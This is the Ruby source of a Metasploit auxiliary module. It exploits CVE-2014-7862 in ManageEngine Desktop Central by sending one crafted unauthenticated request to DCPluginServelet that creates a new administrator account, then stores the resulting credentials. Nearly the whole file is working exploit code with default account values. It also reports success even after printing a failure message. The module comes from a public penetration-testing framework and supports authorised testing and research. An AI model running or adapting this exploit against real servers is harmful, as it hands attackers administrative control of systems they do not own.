William Vu
81 lines
3.0 KiB
Ruby
81 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
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'Description' => %q{
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This module exploits an administrator account creation vulnerability in Desktop Central
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from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
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several versions of Desktop Central (including MSP) from v7 onwards.
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},
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2014-7862'],
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['OSVDB', '116554'],
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['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'],
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['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'],
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],
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'DisclosureDate' => 'Dec 31 2014'))
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register_options(
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[
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OptPort.new('RPORT', [true, 'The target port', 8020]),
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OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
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OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
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OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
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OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
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])
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end
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def run
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# Generate password hash
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salt = Time.now.to_i.to_s
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password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
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'method' =>'GET',
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'vars_get' => {
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'action' => 'addPlugInUser',
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'role' => 'DCAdmin',
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'userName' => datastore['USERNAME'],
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'email' => datastore['EMAIL'],
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'phNumber' => Rex::Text.rand_text_numeric(6),
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'password' => password_encoded,
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'salt' => salt,
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'createdtime' => salt
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}
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})
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# Yes, "sucess" is really mispelt, as is "Servelet" ... !
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unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
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print_error("Administrator account creation failed")
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end
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print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
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connection_details = {
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module_fullname: self.fullname,
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username: datastore['USERNAME'],
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private_data: datastore['PASSWORD'],
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private_type: :password,
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workspace_id: myworkspace_id,
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access_level: 'Administrator',
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status: Metasploit::Model::Login::Status::UNTRIED
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}.merge(service_details)
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create_credential_and_login(connection_details)
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end
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end
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